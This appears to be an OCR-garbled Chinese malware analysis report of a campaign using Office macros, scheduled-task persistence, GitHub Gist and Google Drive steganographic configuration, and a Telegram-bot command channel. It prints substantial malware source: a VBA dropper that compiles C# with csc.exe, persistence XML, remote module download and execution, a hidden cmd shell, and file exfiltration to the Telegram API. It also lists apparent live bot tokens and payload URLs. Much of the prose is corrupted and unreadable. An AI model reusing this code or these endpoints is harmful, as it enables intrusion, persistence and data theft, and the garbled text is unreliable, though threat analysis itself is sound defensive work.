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BREHETIFGEEN , YERRZE  RRBSERRERE Aevil” , “p2” , “p3”fKcustomXmisy

% . R BB HBaseb4fipid |, K 1SEICHIERS , AppVStreamingUX.exe.configflifsvc.exe.config , 34
CHIERBMERIN B R T,

Dim csBytes() As Byte, conflBytes() As Byte, conf2Bytes() As Byte
csBytes = GetCustomPrt ("evil")
conflBytes = GetCustomPrt ("p2")
conf2Bytes = GetCustomPrt ("p3")

Dim decodedSource As String, configl As String, config2 As String
decodedSource = Base64DecodeToString (csBytes)

configl = Base64DecodeToString(conflBytes)

config2 = Base64DecodeToString (conf2Bytes)

If Len(decodedSource) < 100 Or Len(configl) < 20 Or Len(config2) < 20 Then Exit Sub

Dim fso As Object, shell As Object, csFilePath As String

Set fso = CreateObject ("Scripting.FileSystemObject"™)

Set shell = CreateObject ("WScript.Shell")

csFilePath = shell.ExpandEnvironmentStrings ("%TEMP%") & "\~" & fso.GetTempName () & ".cs"
WriteStringToFile decodedSource, csFilePath

EEM S AppVStreamingUX.exe L 43 T1Z1“%LOCALAPPDATA%\WindowsMediaSync” , an&E & D1k
B, NP “dfsve.exe” X4+ D1EI%LOCALAPPDATA%\WindowsMediaSyncER . ¥

AppVStreamingUX.exe.config , dfsvc.exe.config[a] 5% %%LOCALAPPDATA%\WindowsMediaSync

BT , 7 {FFHcsc.exemiFa a“AppVStreamingUX_Multi_User.dIl”,
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deploymentSuccess = False

finalExeName = "AppVStreamingUX.exe"™
exePath = stagingPath & "\" & finalExeName
fso.CopyFile "C:\Windows\Sysnative\AppV\" & finalExeName, exePath, True

If Not fso.FileExists(exePath) Then
fso.CopyFile "C:\Windows\System32\AppV\" & finalExeName, exePath, True
End If

If fso.FileExists(exePath) Then
configPath = stagingPath & "\" & finalExeName & ".config"
WriteStringToFile configl, configPath
deploymentSuccess = True

End If

If Not deploymentSuccess Then
finalExeName = "dfsvc.exe"
exePath = stagingPath & "\" & finalExeName
fso.CopyFile shell.ExpandEnvironmentStrings ("%SystemRoot%") & "\Microsoft.NET\Framework\v4.0.30319\" & finalExeName, exePath, True

If fso.FileExists(exePath) Then
configPath = stagingPath & "\" & finalExeName & ".config"
WriteStringToFile config2, configPath
deploymentSuccess = True
End If
End If

Dim dotNetPath As String, references As String, compileCmd As String, debugCmd As String, logPath As String
Dim dllpath As String

dllPath = stagingPath & "\AppVStreamingUX_Multi_User.dll"

= shell. i trings( Y %) & "\Microsoft.NET\Framework\v4.0.30319\"
references = "/r:® & Chr(34) & dotNetPath & "System.dll™ & Chr(34) & " " & "/r:" & Chr(34) & dotNetPath & "System.Core.dll™ & Chr(34) & " " & "/r:" & Chr(34) & dotNetPath & "System

compileCmd = Chr(34) & dotNetPath & "csc.exe™ & Chr(34) & " /t:library /nologo /unsafe /out:" & Chr(34) & dllPath & Chr(34) & " " & references & " " & Chr(34) & csFilePath & Chr(34

' InputBox "%, "%, compileCmd

logPath = shell ir Strings( OFILEY™) & "\D \compile log.txt"
debugCmd = "cmd.exe /c (" & compileCmd & ") > """ & logPath & """ 2>41"
' debugCmd = "cmd.exe /c " & compileCmd

shell.Run debugcmd, 0, True

SRIE R EREIXmISLHEE A\ Eltask_def. xmiSC i,
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xmlPath = Environ$ ("TEMP") & "\[task def.zml"

xmlPartl = "<?2xml version=""1.0"" encoding=""UTF-16""2>" & vbCrLf &

"<Task version=""1.4"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task"">" & vbCrL
" <Triggers>" & vbCrLf &
<TimeTrigger>" & VvbCrLf & _
<StartBoundary>" & Format (Now, "yyyy-MM-dd") & "T" & runTime & ":00</StartBoundary>" & vb
" <Enabled>true</Enabled>" & vbCrLf & _
</TimeTrigger>" & vbCrLf & _
</Triggers>" & vbCrLf &

<Principals>" & vbCrLf &

<Principal id=""Author"">" & vbCrLf & _
<UserId>" & Environ$ ("USERNAME") & "</UserId>" & vbCrLf & _
<LogonType>InteractiveToken</LogonType>" & vbCrLf & _
<RunlLevel>LeastPrivilege</RunLevel>" & vbCrLf & _
</Principal>" & vbCrLf & _

</Principals>" & vbCrLf

2 2 = =

xmlPart2 = " <Settings>" & vbCrLf & _
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>" & vbCrLf & _
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>" & vbCrLf & _
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>" & vbCrLf & _
<ARllowHardTerminate>false</AllowHardTerminate>" & vbCrLf & _
<StartWhenAvailable>true</StartWhenAvailable>" & vbCrLf & _
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>" & vbCrLf & _
<Enabled>true</Enabled>" & vbCrLf & _
<Hidden>false</Hidden>" & vbCrLf & _

</Settings>" & vbCrLf

2 =

2 2 2 = =2 = =

xmlPart3 = <Actions Context=""Author"">" & vbCrLf & _

<Exec>" & vbCrLf & _
<Command>" & exePath & "</Command>" & vbCrLf & _
<WorkingDirectory>" & exeFolder & "</WorkingDirectory>" & vbCrLf & _
</Exec>" & vbCrLf & _
</Actions>" & VvbCrLf & _

"</Task>"

"
"
"
"
"
"

xmlContent = xmlPartl & xmlPart2 & xmlPart3

Set f = CreateObject("Scripting.FileSystemObject").CreateTextFile (xmlPath, True, True)

REAIEITIHES | IRREAEINBE KRR, YE X (AppVStreamingUX.exedl 4 dfsvc.exe)ih
178, A MEBLRIFIFHIEEAppVStreamingUX_Multi_User.dIISZ{.,

xmlContent = xmlPartl & xmlPart2 & xmlPart3

Set f = CreateObject("Scripting.FileSystemObject™) .CreateTextFile (xmlPath, True, True)

f.Write xmlContent

f.Close

Set shell = CreateObject ("WScript.Shell")

cmd = "schtasks /create /tn " & Chr(34) & taskName & Chr(34) & _

" /xml " & Chr(34) & xmlPath & Chr(34) & " /f"

shell.Run cmd, 1, True

Dim fso As Object]

Set fso = CreateObject ("Scripting.FileSystemObject")

If fso.FileExists(xmlPath) Then

fso.DeleteFile xmlPath
End If

3. QAT
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“asdity (e 1404 o oKaalils et xIsm AR N R EE S 2 TR M CHIRRE R 1K E % TEMP %~
[templ.cs. XE—/ & EERWHKEIIFERF.

W CLRAIEZEAppDomainks , £ B shfilnitializeNewDomain() /7% , Ml JB3hZkFEExecuteCorelLogic().,

B4, ¥ “%LocalAppData%\\Microsoft\CLR_v4.0_32\\Nativelmages\\ImageConfigFile8.Lock"3
#, PMRUER—3R41,

SystemEvents.SessionEnding += SystemEvents_SessionEnding;

ServicePointManager.SecurityProtocol = SecurityProtocolType.Tlsl2 | SecurityProtocolType.Tlsll | SecurityProtocolType.Tls;

if (!AcquireFileLock()) //fRiErE—EH |
1

ReleaseFileLock() ;
return;
}
private static bool AcquireFileLock()
{
try
{
Directory.CreateDirectory(Path.GetDirectoryName (LockFilePath)) ;
//"%LocalAppData%\\Microsoft\\CLR_v4.0_32\\NativeImages\\ImageConfigFile8.Lock"
lockFileStream = new FileStream(
LockFilePath,
FileMode.OpenOrCreate,
FileAccess.ReadWrite,
FileShare.None) ;

return true;
}
catch (IOException)
{

return false;

}

REL AT FEMIE R, MRBIRE  MSSMEE.
appPath = AppVStreamingUXId(); //ZKEU#HIZERIZ

AppDomain.CurrentDomain.UnhandledException += (sender, e) =>

{
Console.WriteLine ("Unhandled Exception occurred: " + e.ExceptionObject.ToString()):;
RestartIfAllowed (appPath); //EFEED
Y
BAppDomain.CurrentDomain.ProcessExit += (sender, e) =>
{
Console.WritelLine("Process exiting. Restart if allowed.");
RestartIfAllowed (appPath) ;
Y

RERDERENEEES , TE2ET TENAN DRI,
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AppDomain.CurrentDomain.ProcessExit += (sender, e) =>

{
Console.WritelLine("Process exiting. Restart if allowed.");
RestartIfAllowed (appPath) ;

| config = GetRemoteConfig(); //FEZEEEEE |
Run() ; /] EFGist ==

if (config == null)
{
ownDel () ; // B Bk

B K
H“https[:]//gist.github.com/johnpeterson1304/d7bc6b1e29bfc64d237b1a7cbbc653b8"# “tamiManager.txt’3C
HHRANEA.

private static string GistRawLink(string gistPageUrl)
{
using (WebClient client = new WebClient())
{
client.Headers.Add (Names.Get_WindowsType_385d() , Names.Get_WindowsType_e494());
string html = client.DownloadString(gistPageUrl) ;

// string pattern
// string pattern
// string pattern
// string pattern
// string pattern
// string pattern
// string pattern
// string pattern

@"href=["""'] (.*2/raw/.*2/testfile\.txt) ["""']";
@"href=["""'](.*2/raw/.*2/testfile2\.txt) ["""]";
@"href=["""]1(.*?/raw/.*2/new_runapp\.txt) [""']";
@"href=["""'](.*2/raw/.*2/olga\.txt) [""']";
@"href=["""](.*?/raw/.*2/amo\.txt) [""']";
@"href=["""'](.*?/raw/.*2/mehl\.txt) ["""']";
@"href=[“"'](.*?/raw/.*?/mechl_z\.txt)[““‘]"4
@"href=["""](.*?/raw/.*?/tami\.txt) ["""]";

LI [ [ [ | B

string pattern = @"href=[""'] (.*?/raw/.*?/tamiManager\.txt) [""']"; //#&EH PAYramiManager.txt

Match match = Regex.Match(html, pattern, RegexOptions.IgnoreCase) ;

[E] tamiManager. txt Raw

1 aHROCHM6LYy9kcml2ZSSnb29nbGUuY29tL3VjP2V4cGIydD1kb3dubGIhZCZpZDAxXNNRKZ2F4Z 3N bC1GNIWxFZnRScU1@RMB4U3 hwdWF RUHY =

A 1Y

ﬂ Write Preview H B I = ¢ & =

= ¢ @ ¢

Leave a comment

G Markdown is supported [EA Paste, drop, or click to add files

'!HHHHHHH!'

%4 : B tamiManager.ixt' N A FiBase64fi#hl , 132 T —[ B T 2kbEE
https[:]/drive.google.com/uc?export=download&id=16tJgaxgsll-F5I_ftyqltFo8SxpuaQPv , & i 5EHEE ]
LR E—14"MIO9.png &l
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string source = ConvertToSimpleFromBase (BackgroundPictureLink(gistLink)).Trim() ?? "";

//https://drive.google.com/uc?export=downloadseid=16tJgaxgsIl-F51 ftyqItFo8SxpuaQPv
if (string.IsNullOrEmpty(source)) { return null; }

byte[] imageBytes; //ERT®R8pngEF
if (source.StartsWith(ConvertToSimpleFromBase ("aHROcCHMGLYyE8="), StringComparison.OrdinalIgnoreCase)) // https://
{

using (var client = new WebClient())

{

IimageBytes = client.DownloadData (source) ;|

}

B=2  WEEFERARARER , BECEEEHRAZLER AT , ARERARELSBRIARIECEEE.

byte[] imageBytes; //iZEXTF#&IpngBEH
if (source.StartsWith(ConvertToSimpleFromBase ("aHROcCHMELy8="), StringComparison.OrdinallIgnoreCase)) // https://
{

using (var client = new WebClient())

{

imageBytes = client.DownloadData (source) ;

}

else

{
if (!'File.Exists(source)) { return null; }
imageBytes = File.ReadAllBytes (source) ;

byte[] payloadBytes;

using (var ms = new MemoryStream(imageBytes))
using (var bmp = new Bitmap (ms))

{

payloadBytes = StegoLsb.Extract (bmp) ; //EE S 2B
}

string extractedData = Encoding.UTF8.GetString (payloadBytes) ;

FEU - 1RIEXORKey , KKk fiBase64+XORMEHKIACESE , FFRHECESEEHITET , xorkR"F
SR E(FEFKKey |, telfk7Rtoken , chatichatld , m1-m59 32 T —MERIEIRE T EME , HRFEKE
.
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foreach (var key in new String[] ‘ --.\rﬂ;n’ "!',:", urt:n’ uA..V;u' n:,.‘n’ " ,‘fluf,", u:.;n’ " trv’ oy -n’ u:.rvl' "mgn" ,,
{
if (xorData.ContainsKey (key))
{
xorData[key] = ConvertFromXor (xorKey, xorDatal[key]l)
}

return new AgentConfig()
{
XKey = xXorKey 2?? ""
t_tok = xorData.ContainsKey("tel") ? xorData["tel"] : ""
Chat = xorData.ContainsKey("chat") ? xorData["chat"] : "%,
Modulel cm = xorData.ContainsKey("ml") ? xorData["ml"]
Module2 do = xorData.ContainsKey("m2") ? xorData["m2"]
Module3 up = xorData.ContainsKey("m3") ? xorData["m3"] : ""
1
‘1

Module4:Pr = xorData.ContainsKey("m4") ? xorDatal["m4

-

Module5 ra = xorData.ContainsKey("m5") ? xorDatal["mS

Moduleé = xorData.ContainsKey("mé") ? xorData["mé"]

Module7 = xorData.ContainsKey("m7") ? xorData["m7"] : "'
Module8 = xorData.ContainsKey("m&8") ? xorData["m&"]

Module9 = xorData.ContainsKey("m9") ? xorData["m&"] :
Modulel0 = xorData.ContainsKey("m10") ? xorData["ml0"] : ""

|

RARBHECEFEEWT

Xor=SGorv1FyuUwuodvyY4dG9DOFhaZA==
tel=f1ZTZGVBYFOHR2Xx5NSoNd2kgETILCQEWRTspXkM4QTwHAEAVE
ABQOXxMeEBIhNA==

chat=cFxfYm)DYFQARQ==

m1=IBsf)y|Ifk pQBz90EUEkVzc9CC1BCDgBXSQGCxAUSBsdNwUBNRM
MAWQ2NVQ4AQIEF 08xDnoBF zseezst CCAVKy 960t TEDYMfgolKHAd
Oy0=

m2=IBsf)y|Ifk pQBz9OEUEkVzc9CC1BCDgB8XSQGCxAuSBsdNwUSNRM
MAWQ2NVQ4AQIEF35DBxpSFRAUAQOTMCU2Iyx7DTQN Gzs|cg8YKx|
0OBQg=

m3=IBsf)y|Ifk pQBz90OEUEkKVzc9CC1BCDgBXSQGCxAUSBsdNwWUSNRM
MAWQ2NVQ4AQIEE384MDUMFM 9 TeTkxFBUKHhxNPSZfOgATXjFrCQ)
eDjM=

SHABCEf# #155Google DrivefiEfk , XLEGERNAFEMpr (FAWAZIR) , up (EERR) |, do (3K
HBER) om (fPATHEER) FrunApp (FRFFRITRIR) .
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Recipe

Fork

Split delimiter Merge delimiter
\n \n

From Base64
Alphabet

A-Za-20-9+/=

Remove non-alphabet chars

XOR

Kev

SGIrVIFyUWU..  DASEE4~

[ Null preserving

#EEIEIT GitHub APIERELTE EGistth NECE L (etagtest.txt)

~amB8

A Qmn

[ignore errors

A Qmn

D Strict mode

~Qmn

Scheme

Standard

BW (BEREEHA"USED")
(CONF.dat) DAMERHIMER |, FHREILSEHGistilic & S fFetagtest.txt,

Input + 0Oz W

1BsflyJIfkpQBz90EUEKVZcOCCIBCDEBXSQGCXAUSES dNWUBNRMmAWQ2NVQ4AAQLEF@BXDNOBF 2 seezstCCAVKy960] t TEDYMfgol1KHAdOy®=
IBsflylIfkpQBz90EUEKVZcICC1BCDEBXSQGCxAUSBS dNWUBNRMMAWQ2NVQ4AQLEF35DBXpIF RAUAQETMCU2IyXx7DTQNGZ s cg8YKXIOBQg=
1Bsf)y)IfkpQBz90EUEKVZcOCCIBCDEEXSQGLXAUSES ANWUSNRMmAWQ2NVQ4AQL EE384MDUMFmOT e TkxF BUKHhXnPSZ FOgATXjFrCQleDjM=
1Bsfly)IfkpQBzOOEUEKVZcOCCIBCDEEXSQGCXAUSES ANWUSNRMmAWQ2NVQ4AQ] E THQE GCVpHYwWDB15cMy 1EEDOSP t/FTgeUNtsICY1GGC=
1BsflylI1fkpQB2z20EVEKVZCICC1BCDEBXSQGCXAUSBSdNWUBNRMMAWQ2NVQAAQLEM3UFPIZpYSSCIQ4aaHgMUBC1QIQRBEWZYbSKrCSteOws=

- 544 = 5 Tr Raw Bytes

Output B0 ®

https://drive.google.com/uc?export=download&id=1AwEa990az3TF_qgz INOmkdYOFROL8rPz
https://drive.google.com/uc?export=download&id=1AF 7hYEMIIIbxgtDrIOxbSoTIIWBOZan_
https://drive.google.com/uc?export=download&id=1EGL_v4NS71VZCDx0ySHpghoPfilmlied
https://drive.google.com/uc?export=download&id=1vLpwfQGvgN17dx6AZMKmGakiwjC6DNZs0
https://drive.google.com/uc?export=download&id=1eMkQuQot8maqIRfULdPRygi1Uqqmc1PX

, B Ja B3 Telegram Bot TokenFlIChat IDECE {5 EE A\ AHZETF

, SRIEARNITRB I $R2A"FREE" MRS
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static void Run()
{
if [File.Exists(LOCAL_FILE))
{
var local = File.ReadAllText (LOCAL FILE).Split('|");
config.t_tok = local([0];
config.Chat = local[l];

return;

string json = GetGistJson();
string content = ExtractFileContent(json, GIST_FILE NAME);

var lines = content
.8plit(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries)
.Select(l => 1.Trim())
.ToList () ;

int freeIndex = lines.FindIndex(l => l.StartsWith("FREE|"));
if (freeIndex == -1)
{

string t = Names.Get_WindowsType e82b();

string ¢ = Names.Get_ WindowsType 3203();

config.t_tok = t;
config.Chat = ¢;
return;

string myLine = lines[freeIndex]:;
|lines[freeIndex] = myLine.Replace ("FREE|", "USEDI“};'
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el -

b

10" JSED | 8270984507 : AAEL0aA6UOQNUYWSSQCrRINCTSSnMXQgBQA| 7959520524
USED| 8459099417 : AAHKUy JZGbX10VICVCCqsLbI9mwIbkkL1jc| 7959520524
USED| 8507530839 : AAEDs7PQVOINTB@I0I3ptzN28b51HVCRWDA| 7959520524
USED| 8221294428 : AAGveh7jtKSuABnB7AtUDGOTUU2-w8@1i1Y| 7959520524
USED|8@51113376: AAF7HrpsUYI8PmNAIZnzncVEIXSN41kz3h9| 8013069284
USED| 8498620568 : AAHXUxq1wusmRy Se EGV7AMNCEVILXupum]E | 8013069284
USED| 8417254651 : AAFoxXEAZtcLoS1dsD11v1ZFVabPRF8bnad| 8013069284

N oo bW

[ 9
h Write  Preview H B I i= & & = =69 @ 0

Leave a3 comment

[ Markdown is supported [EA Paste, drop, or click to add files

KREFERNENERNARBPITEMER , N LRGN AT HURLIKEUR SR | iR KRR
base64+xorfAl A RAN T Fi7R :

Recipe ~ @ 8 Input

PRWCOTZSAhXHATNVT2]ITSszCi9P0OC4iBjQIGjwZA311NksxNANOPBIkIRC8S2YQMFQRDDARNZRT

RWVMXT8TPABHBTAbEUSOVZWvCCOcZ18qf1tFFFV2URObIko20whoDAC21gFxNUYaMUOVAKdyeHpE

Sobt delimiter Mesae delimiter aBRMXXFSCUUUVXYYeWVjGHh6RGhPSyckED@MV1UL TBUbK] t4KRAEBgUWC SAKCXWGIkodASQYOSgD

\n \n D Ignore errors PQIOOSUBeGE+VXYYVEQjGHghalIPS 3dxUnF FFFV2GFQbMUFVUEROT@t3cVIXRRRVAKNSZUdy eHpE

aE9Ld3FScUUUVXYYVBW3S JERA2gbC iQ6PDAIUVVIGFYqLUWIKBQEBhgy cSU+F18GI1KAB x\WeBIB

KQMFP3E/PgtdAT1KHQEKGMNXbKV1S 3dxUnFFFFV2GFRPYxhdektnT7H41cOI502Fj75ULAX 1 eAdd

From Base64 A~ Qn OApMXXFSCUUUVXYYVEQ jGHhERGE7E 1cOUIUWYAWmMXVRSY2whK gFmKA4 jBQs hAHTHOVUKHS X fERSM

ajwIPZQWIALRWWVABhkqWz14TXNiYXdxUnFFFFV2GFRPYxh4ekQnDQEyMgZXEVUGPWSRHTVROZOE

Alphabet dUBqNCUthRAGiQNNxOmNSH/LSYcHzYIETRNQAYCQQQKagNVUGlCTet3cV]xRRRthhUT2MYeH‘VL

A-Za-z@-9+/= N Remove non-alphabet chars aCWEOT8XMhE cXF syVEQjGHh6RGhPS3dxUnFFFAELbA@F JIhYRNBInBA4aNB8ZAEZddHsbAS1d0y5G

2GIhd3FSCUUUVXYYVEOJGHhERGhPS 3¢ TGZ8BXRsxFhgOIEt 2Ewo+AAAYHBC 10VSRehgaGioudFdu

aE9LA3FSCUUUVXYYVEDGHh6RGEDC Q61 TQXQhwiXVhPLVevegsqBQ40ISKMRUIVKXFPYKk1UnpE

D Strict mode aE9Ld3FScUUUVXYYVEOSF3gdATwpBDs1FyNNFil@EX11Yxh4ekRoTOt3cVIXRRRVA1cWBSZbLHOW
mmc 9108 = 1

Fork ~0n

XOR ~Qn Output
Kev Scheme using System;
BASE64 ~ i .
SGIrV1FyUWUedVYA4.. Standard using System.IO;
using System.Reflection;
D Null preserving namespace Modules
{
internal class Program
{
public static string Run(string arguments)
{
try
{

string taskName = "Enterprise Workstation Health Monitoring™;

/1 g33;¢ COM Type
Type tsType = Type.GetTypeFromProgID("Schedule.Service™);
object taskService = Activator.CreateInstance(tsType);
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BHEMEBHEpriEit , BREXIFFA . EARSEEmoduleName 4 FTiE2appPath, 1R1E
moduleNameZS AR HE T EMCHNIFR |, SREHITHMF , RAEBETRNEMERM AP ITeriEsR,

static string ExecuteModule (string moduleName, string arguments)
{
try
{
lock (modulesCache)
{

CachedModule module;
lock (modulesCache)
{
if (!'modulesCache.TryGetValue (moduleName, out module))
{
string code = DownloadModuleCode (moduleName) ; // TR IE TG

if (code == null)
return "ND" + moduleName; // not download

var raw = ConvertFromXor (config.XKey, code);

module = CompileModuleCode (moduleName, raw); / / IFECHIFEG
if (module == null)
return "NC" + moduleName; // not compile

modulesCache [moduleName] = module;
}

module.LastAccess = DateTime.Now;

try
{
object result = module.ExecuteMethod.Invoke (null, new object[] { arguments }); //AE#EHEHT
if (result != null)
return result.ToString();
else
return "NO";
}

pri® R SKhR LR — M SRHITRMES HThRE | FAMHEREANSE , Rl LTz,
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txy

string taskName = "Enterprise Workstati

// 333,58 COM Type
Type tsType = Type.GetTypeFromProgID("Schedule.Service");
object taskService = Activator. Crea:e]nstance(tsType),

// Connect()

tsType.InvokeMember ("C ’
BindingFlags.InvokeMethod, null,
taskService, new object[] { });

// GetFolder("\")

object rootFolder = tsType.InvokeMember ("GetFolder",
BindingFlags.InvokeMethod, null,
taskservice, new object[] { "\\" });

// NewTask(0)

object taskDefinition = tsType.InvokeMember ("New
BindingFlags.InvokeMethod, null,
taskService, new object([] { b

// taskDefinition.RegistrationInfo.Description = "test";

object reginfo = taskDefinition.GetType () .InvokeMember ("Registrationinfo",
BindingFlags.GetProperty, null,
taskDefinition, null);

regInfo.GetType () . InvokeMember ("Description™,
BindingFlags.SetProperty, null,
regInfo, new object[] { @"This Scheduled Task is designed to automatically execute the monitoring application 'AppVStreamingUX.exe'
immediately after the current user logs into the workstation.
The purpose of this task is to ensure continuous health monitoring, diagnostics,
and operational oversight of the user's environment without requiring administrative privileges.
It is a fully user-mode, secure, and auditable mechanism intended for enterprise workstations
to maintain system integrity and provide real-time status of essential performance metrics.™ });

// Triggers

object triggers = taskDefinition.GetType () .InvokeMember ("Tri
BindingFlags.GetProperty, null,
taskDefinition, null);

SR fEiE T telegram API& % s online™ B2 , SEL Bk _E2k.

clientId = MyId(); //3BlclientId #EFMachinenameflUsername
token = config.t_tok; //7983431832:ARENOl1zu JLjényHhCXxwJIkXTxIAkOQ

apiUrl = Names.Get WindowsType 2d57() + token + "/"; //https://api.telegram.org/bot
DateTime lastInputTime = DateTime.Now;
bool hasUserEverSentMessage = false;

HelloWord (Names.Get_WindowsType f3e0() + " -- " + DateTime.Now.ToString()); //ARIiXiEE. "is online"

#AJaiEid Telegram Bot APISRIIC2IBTRAZ B MM SRILZARZES) , B RIscHFrziaEA dllexec , upload
download , cmd , runapp.

dllexeciIZNAE R dIMERANFAIE , AT RUEE 4miF CSIRREATDIN , 1 R] LUB I 15 E AIDIFRAE I T A,

14/21



if (lastPath.ToLower() .Contains(Names.Get_WindowsType ad88())) // dllexec
{

string fileInfoJson = cli.DownloadString(apiUrl + Names.Get WindowsType bcff() + message.document.file id);
var fileInfo = json.Deserialize<Dictionary<string, object>>(fileInfoJdson) ;

var result = fileInfo["result"] as Dictionary<string, object>;
string filePath = result["file path"].ToString();

string u = Names.Get_WindowsType 4877() + token + "/" + filePath;

string dlOutputs = string.Empty;
if (Path.GetExtension(message.document.file name) == Names.Get_WindowsType_c34d()) // .cs
{
var tt = cli.DownloadString(u);
dloutputs = ExecuteDirectModule(tt, "");
}
else if (Path.GetExtension(message.document.file name) == Names.Get_WindowsType 7bb3()) // .dll
{
var tt = cli.DownloadData (u);

dloutputs = ExecuteLib(tt, "");

SendReplyInParts(chatId, msgId, dlOutputs);
offset = up.update_id + 1;

continue;
1

UpTNBEA M E1%F | ERETNFRITUpIRIRSINN. upfERRBIT ¢
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string fileUrl = "https://api.telegram.org/file/bot"™ + token + "/" + filePath;

Directory.CreateDirectory(Path.GetDirectoryName (fullPath)) ;
client.DownloadFile (fileUrl, fullPath);

string inputImage = fullPath;

Bitmap bmp = new Bitmap (inputImage) ;

BitmapData bmpData = bmp.LockBits(new Rectangle((, 0, bmp.Width, bmp.Height),
ImageLockMode .ReadOnly, PixelFormat.Format24bppRgb) ;

int stride = bmpData.Stride;

IntPtr ptr = bmpData.Scan0;

int bytesPerPixel = 3;

byte[] allData;

unsafe
{

bmp.UnlockBits (bmpData) ;
bmp.Dispose() ;

int fileLength = BitConverter.ToInt32(allData, 0);
string extension = Encoding.ASCII.GetString(allData, 4, 10).Trim();

byte[] fileData = new byte[fileLength];
Buffer.BlockCopy(allData, 14, fileData, ¢, fileLength);

string outputFile = "reconstructed." + extension;
File.Delete(fullPath) ;

Thread.Sleep(1000);
var newPath = Path.GetDirectoryName (fullPath) ;
var name = Path.GetFileNameWithoutExtension(fullPath);

var newPath2 = Path.Combine (newPath, name + "." + extension);

File.WriteAllBytes (newPath2, fileData);

downloadIBER X AHHIEL , ERETHITIORERLIA) , dotERNFIT :
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public static void SendFile(string token, byte[] data, string fileName, long chatId)
{
try
{
string url = "https://api.telegram.org/bot"™ + token + "/sendDocument?chat_id=" + chatId;

string boundary = Me---emmmmm e " + DateTime.Now.Ticks.ToString("x"):;

using (var ms = new MemoryStream())
using (var writer = new StreamWriter(ms, Encoding.UTF8, 1024, true))
{
writer.Write("--" + boundary + "\r\n"):
writer.Write ("Content-Disposition: form-data; name=\"document\"; filename=\""
+ fileName + "\"\r\n"):;
writer.Write ("Content-Type: application/zip\r\n\r\n");
writer.Flush();

ms.Write(data, 0, data.Length);

writer.Write("\r\n--" + boundary + "--\r\n");
writer.Flush();

byte[] postBytes = ms.ToArray():
using (var wc = new WebClient())
{
wc.Headers.Add ("Content-Type", "multipart/form-data; boundary=" + boundary):;

byte[] response = wc.UploadData(url, postBytes):;
Console.WriteLine (Encoding.UTF8.GetString (response));

FRRINZ | dofRRPFEREIRINERER.

string command = matches[0].Value.TolLower():
if (command != "download") throw new ArgumentException("Command is not download.™):

string filePath = matches[1].Value.Trim(""");

long splitSizeBytes = 500 * 1024 * 1024’ // 500 g, MB I

long sizeMB:

if (matches.Count >= 3 && long.TryParse(matches[2].Value, out sizeMB))
splitSizeBytes = sizeMB * 1024 * 1024;

IR GGl Lol e I
L ue,
lock (queueLock)

Monitor.PulseAll(queueLock):I// Ghae 3157 LJﬂaa;;51J)AJI
}

foreach (var t in sendThreads)
t.Join();

CmdTIRER G & PUT , ER BT PUTCmIERSINN] , cmiERMNAINT -
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public static string Run(string arguments)

{

lock (syncRoot)

{

if (cmdProcess == null || cmdProcess.HasExited)
{
cmdProcess = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
RedirectsStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
StandardOutputEncoding = Encoding.UTF8,
StandardErrorEncoding = Encoding.UTF8

}:

cmdProcess.OutputDataReceived += (s, e) => { if (e.Data != null) outputBuffer.AppendLine(e.Data); }:
cmdProcess.ErrorDataReceived += (s, e) => { if (e.Data != null) outputBuffer.AppendLine("[ERR] " + e.Data); };

cmdProcess.Start ()
cmdProcess.BeginOutputReadLine () ;
cmdProcess.BeginErrorReadLine () ;

RunappfIThEER BITIEF , B 2B NZRUnApptEHSTELK] , RunAppINAN T :

public static string Run(string arguments)

{

try

{

var parts = arguments.Split(new string[] { "|||" }, StringSplitOptions.None);

string filePath = parts[0];
string args = parts.Length > 1 ? parts[l] : string.Empty;

var psi = new ProcessStartInfo

{
FileName = filePath,
Arguments = args ?? string.Empty,
UseShellExecute = false,
CreateNoWindow = true,

}i

Process.Start (psi):
return "ok";

B —1IRINEIKN R XgithubF Fjohnpeterson1304E T , L M ar ZALUARMLL, (NEEH—txt
SIS B, HIFNAISA Baseb4Rilr & , ATHMIMRIR (Google Drive) TEERMTEE

, IXEEEERRED R TR B X IX L] A FILSBRUAIR AL B (5 SR RIS RIMEEAER | Ja&
LRSHT—H

55%
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WAMEZ B E T HITERMAXR B HATAHRIMEAEA | ARRINEAAA | BIERRAFEE MDY Rt £

= johnpeterson1304 / tamiManager.txt []1le % 0forks £J0comments

Created last month

1  aHR@cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubGOhZ(ZpZD@xNnRKZ2F4Z3NIbC1GNwxfZnR5cUL@Rm84U3hwdkFRUHY=

‘I.'I‘ johnpeterson1304 / tami.txt [@)1fle % Oforks (I 0comments

' Last active last month

1  aHRecHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubGOhZ(ZpZDexWVRDTHW1uaUxYVOEzZFps TWhhbnM2NF FmkikIzbGxFMkc=

1:? johnpeterson1304 / mech1_2.txt 1file % Oforks [J0comments

Created 2 months ago

1  aHRecHM6Ly9kcml2ZS5nb29nbGUuY29tL3ViP2V4cGIydD1kb3dubGOhZCZpZDexakwxU2thMWVXZkI3dXMANXZzS1ZYd2pVQ@IhcVFFM3U=

‘l;l‘ johnpeterson1304 / meh1.txt [ 1fle % 0forks I 0comments

Created 2 months ago

1  aHR@cHM6LY9kcml2ZS5nb29nbGUuY29tL3ViP2V4cGIydD1kb3dubGOhZCZpZDRxVXRmc1hobDgwZkg@VmREWGZ XU EtMWhVVVBZQ1pDSEw=

™ johnpeterson1304 / amo.txt [l 1file % 0forks §J0comments

Created 2 months ago

1  aHR@cHM6LYIkcml2ZS5nb29nbGUuY29tL3ViP2V4cGIydD1kb3dubGIhZCZpZD@xcnQ4QillWUlqTFdnSnZ1lkpaZnllZVFRcWShbzBaR3Y=

‘l;r johnpeterson1304 / olga.txt [©)14ile % 0forks [J0comments

Created 2 months ago

1  aHR@cHMELYIkcml2ZS5nb29nbGUuY29tL3ViP2V4cGIydD1kb3dubGOhZCZpZD@xQ1dGZzM2MmIyMB1Fbzhy dDYwWTHNUNGZMMIF xSDZ6Z1c=

1;I' johnpeterson1304 / new_runapp.txt E] 1file % Oforks I 0comments
) Last active 2 months ago

